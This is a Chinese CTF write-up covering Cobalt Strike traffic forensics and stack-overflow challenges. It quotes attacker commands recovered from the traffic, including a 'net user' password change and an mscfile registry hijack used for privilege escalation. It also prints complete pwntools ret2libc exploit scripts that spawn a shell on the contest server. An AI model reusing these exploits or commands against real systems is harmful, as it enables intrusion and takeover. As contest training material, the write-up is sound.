【MISC】WinCS1
【2025春季个人挑战赛】 1.受控机器木马的回连的ip地址和端口是?(flag{ip:端口}) 附件链接: https://pan.baidu.com/s/1fMHp1Rp0GazByyLNXZPN1A?pwd=ytjk 题目WinCS1~6共用一个附件 解压密码:111f56127c28eb148ec8d64e48c75484 ps:威胁检测与网络流量分析题目暂时放MISC模块
找到异常流
检查IP及端口
拿到flag
flag{61.139.2.139:80}
法二:
在虚拟机中找到恶意程序
用沙箱
拿到回连ip及端口
【MISC】WinCS2
【2025春季个人挑战赛】 2.分析流量信息,攻击者尝试修改的jhon账户密码是什么?(flag{password})
对流量继续进行分析
流量名称为cs_rush.pcapng
怀疑就是考察cs流量分析
找到疑似CS特征流量
17 4.030494406 61.139.2.145 61.139.2.139 HTTP 222 GET /4Mht HTTP/1.1
用NetA分析CS流量
因为是CS流量
所以还需要找到一个密钥文件
在挂载电脑镜像时
和木马exe同目录下存在两张意义不明的明日香图片
010打开,翻到两图片的末尾
在010的分块涂色功能下有很明显的拼接痕迹
发现是一个压缩包文件被人为切断成了两份
将两份文件拼接好
拿到完整的新的压缩包
压缩包的内容解压后就是密钥文件
选择这个密钥文件用NetA进行CS流量分析
然后搜索关键词
jhon
找到
C net user jhon P@ssW0rd@123
则密码就是
P@ssW0rd@123
【MISC】WinCS3
【2025春季个人挑战赛】 3.分析流量当中,攻击者查看的文件中flag内容是什么?
仍然是NetA分析
关键字搜索flag
拿到
flag{31975589df49e6ce84853be7582549f4}
【MISC】WinCS4
【2025年春季个人挑战赛】 4.攻击者在攻击过程当中修改过的注册表目录是什么?(结果进行MD5加密)
仍然是关键字搜索
reg
C reg add HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
对后面部分进行md5加密即可
HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
—>md5
【MISC】WinCS5
【2025年春季个人挑战赛】 5.受控机当中加密文件的内容是什么?
加密文件实为和木马文件同一目录下的压缩包
在flag关键词搜索的旁边
有一个很让人在意的地方
[+] 包序号【2481】解密结果:flag{31975589df49e6ce84853be7582549f4} passkey is PolarCTF@2025Spring
passkey
猜测后面的内容就是压缩包密码
解密,拿到压缩包内容
flag{fc51bd0633d256f2dcbe282efa205c3a}
【MISC】WinCS6
【2025年春季个人挑战赛】 6.受控机木马的自启动文件路径是什么?(结果进行MD5加密)
在挂载机上找
用挂载机的计算机管理栏进行查找
最终找到一个可疑项
跟进这个目录
对这个文件通过编辑的方式进行查看内容
发现启动的进程就是木马文件
将这个文件的路径通过md5加密即可
【MISC】find
是个xlsx文件
部分表格存在加粗
部分没有
用替换功能
用黑色标出加粗位置
然后修改宽高使得图像直观
拿到最终效果
拿去扫描拿到flag
flag{11be65d59abc1b45ad8b9cc1e695a016}
【MISC】可老师签到
下载附件,是个视觉小说类型的游戏样式的附件
结果是公众号签到
输入flagflag拿到flag
【PWN】libc
板子题,填板子
from pwn import *
from LibcSearcher import *
io = remote('1.95.36.136', 2137)
# io = process("./pwn")
elf = ELF('./polar_pwn1')
# libc= ELF(elf.libc.path)
main_add = 0x08048591
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))
offset = 0x3A
payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendafter(b'like', payload1)
puts_addr = u32(io.recvuntil(b'\xf7')[-4:])
print("Puts_addr: ", hex(puts_addr))
libc = LibcSearcher('puts', puts_addr) # libc6-i386_2.27-3ubuntu1_amd64
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendafter(b'like', payload2)
io.interactive()
【PWN】koi
64位
main函数分析
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+5Ch] [rbp-4h] BYREF
init(argc, argv, envp);
v4 = 0;
printf("choose your challenge\n:");
puts("1.write shell");
puts("2.use shell");
puts("3.exif");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
wrshell();
break;
case 2:
usshell();
break;
case 3:
exif();
break;
}
puts("Enter a:");
__isoc99_scanf("%d", &v4);
if ( v4 == 520 && n == 520 )
{
puts("GOOD");
xxx();
}
else
{
puts("Bless you");
}
return 0;
}
这里要先进行选择
先进入到wrshell函数看看
int wrshell()
{
int v1; // [rsp+8h] [rbp-58h] BYREF
int v2; // [rsp+Ch] [rbp-54h] BYREF
_BYTE buf[80]; // [rsp+10h] [rbp-50h] BYREF
v2 = 0;
v1 = 0;
puts("Enter number:");
__isoc99_scanf("%d", &v1);
printf("size:");
__isoc99_scanf("%d", &v2);
puts("Enter sehll:");
read(0, buf, 0x58uLL);
return puts("success");
}
wrshell函数这里存在一个很明显的栈溢出
但是这里buf到栈底的位置又到不了read
一个0x50一个0x58,不够的
再依次继续看其他选项对应的函数
发现都没什么问题
继续分析main函数
if ( v4 == 520 && n == 520 )
这个判断语句判断为真时,会进入到xxx函数
跟进xxx函数
ssize_t xxx()
{
_BYTE buf[80]; // [rsp+0h] [rbp-50h] BYREF
puts("Welcome to Polar CTF!\n");
return read(0, buf, 0x150uLL);
}
这里同样存在一个很明显的栈溢出
.text:00000000004007DA var_4 = dword ptr -4
.text:00000000004007DA
.text:00000000004007DA ; __unwind {
.text:00000000004007DA push rbp
.text:00000000004007DB mov rbp, rsp
.text:00000000004007DE sub rsp, 60h
.text:00000000004007E2 mov eax, 0
.text:00000000004007E7 call init
.text:00000000004007EC mov [rbp+var_4], 0
.text:00000000004007F3 mov edi, offset format ; "choose your challenge\n:"
.text:00000000004007F8 mov eax, 0
.text:00000000004007FD call _printf
.text:0000000000400802 mov edi, offset s ; "1.write shell"
.text:0000000000400807 call _puts
.text:000000000040080C mov edi, offset a2UseShell ; "2.use shell"
.text:0000000000400811 call _puts
.text:0000000000400816 mov edi, offset a3Exif ; "3.exif"
.text:000000000040081B call _puts
.text:0000000000400820 lea rax, [rbp+var_4]
.text:0000000000400824 mov rsi, rax
.text:0000000000400827 mov edi, offset aD ; "%d"
.text:000000000040082C mov eax, 0
.text:0000000000400831 call ___isoc99_scanf
.text:0000000000400836 mov eax, [rbp+var_4]
.text:0000000000400839 cmp eax, 1
.text:000000000040083C jnz short loc_40084A
.text:000000000040083E mov eax, 0
.text:0000000000400843 call wrshell
.text:0000000000400848 jmp short loc_400870
这里可以看到.text:0000000000400820 lea rax, [rbp+var_4]这一行
而var_4本身var_4 = dword ptr -4
就是地址减去一个0x4
scanf函数存在一个偏移的问题
而后面 mov eax, [rbp+var_4]
所以需要将这个0x4补齐以保证后续输入n的地址无误,也就搞定了这个偏移的问题
要做的就是把rbp的地址覆盖成n的地址
之后传入n的值:520,然后令其执行ret2libc即可
这部分操作的主体内容就是
io.sendline(b'1') #菜单选择
io.recv()
io.sendline(b'1') #wrshell函数第一次输入参数
io.recv()
io.sendline(b'1') #wrshell函数第二次输入参数
io.recv()
n_addr = 0x60108c #双击n跟进找到n参数的地址
payload = b'a'*(0x50) + p64(n_addr+0x4) #补齐0x4,确保n地址正确
io.sendline(payload)
io.recv()
io.sendline(b'520') #通过判断语句
io.recv()
奇怪的点在于想用libcsearcher来找对应的libc版本
但是没找到
换用网站手动补齐相关函数对应地址
exp:
from pwn import *
io = remote('1.95.36.136',2146)
# io=process("./pwn")
elf = ELF('./polar_pwn')
# libc= ELF(elf.libc.path)
io.sendline(b'1')
io.recv()
io.sendline(b'1')
io.recv()
io.sendline(b'1')
io.recv()
n_addr = 0x60108c
payload = b'a'*(0x50) + p64(n_addr+0x4)
io.sendline(payload)
io.recv()
io.sendline(b'520')
io.recv()
ret_add =0x00000000004005d9
pop_rdi =0x0000000000400a63
xxx_add =0x00000000004009CE
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=0x50
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(xxx_add)
io.sendlineafter(b'Welcome to Polar CTF!', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))
libc_base = puts_addr - 0x06f6a0
system_add = libc_base + 0x0453a0
bin_sh_add = libc_base + 0x18ce57
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'Welcome to Polar CTF!', payload2)
io.interactive()
总体就是一个栈迁移加一个ret2libc
D:\python\pythonProject\.venv\Scripts\python.exe D:\python\pythonProject\polar_pwn_libc64+栈迁移.py
[x] Opening connection to 1.95.36.136 on port 2146
[x] Opening connection to 1.95.36.136 on port 2146: Trying 1.95.36.136
[+] Opening connection to 1.95.36.136 on port 2146: Done
[*] 'D:\\python\\pythonProject\\polar_pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Puts_got: 0x601018
Puts_plt: 0x4005f0
Puts_addr: 0x7fc589e1d6a0
[*] Switching to interactive mode
cat flag
flag{e6d6aa72-59ef-42bd-a92b-ac3310081800}
总体交互结果更简洁
也表明很多情况下libc库有概率没有,网站好用得一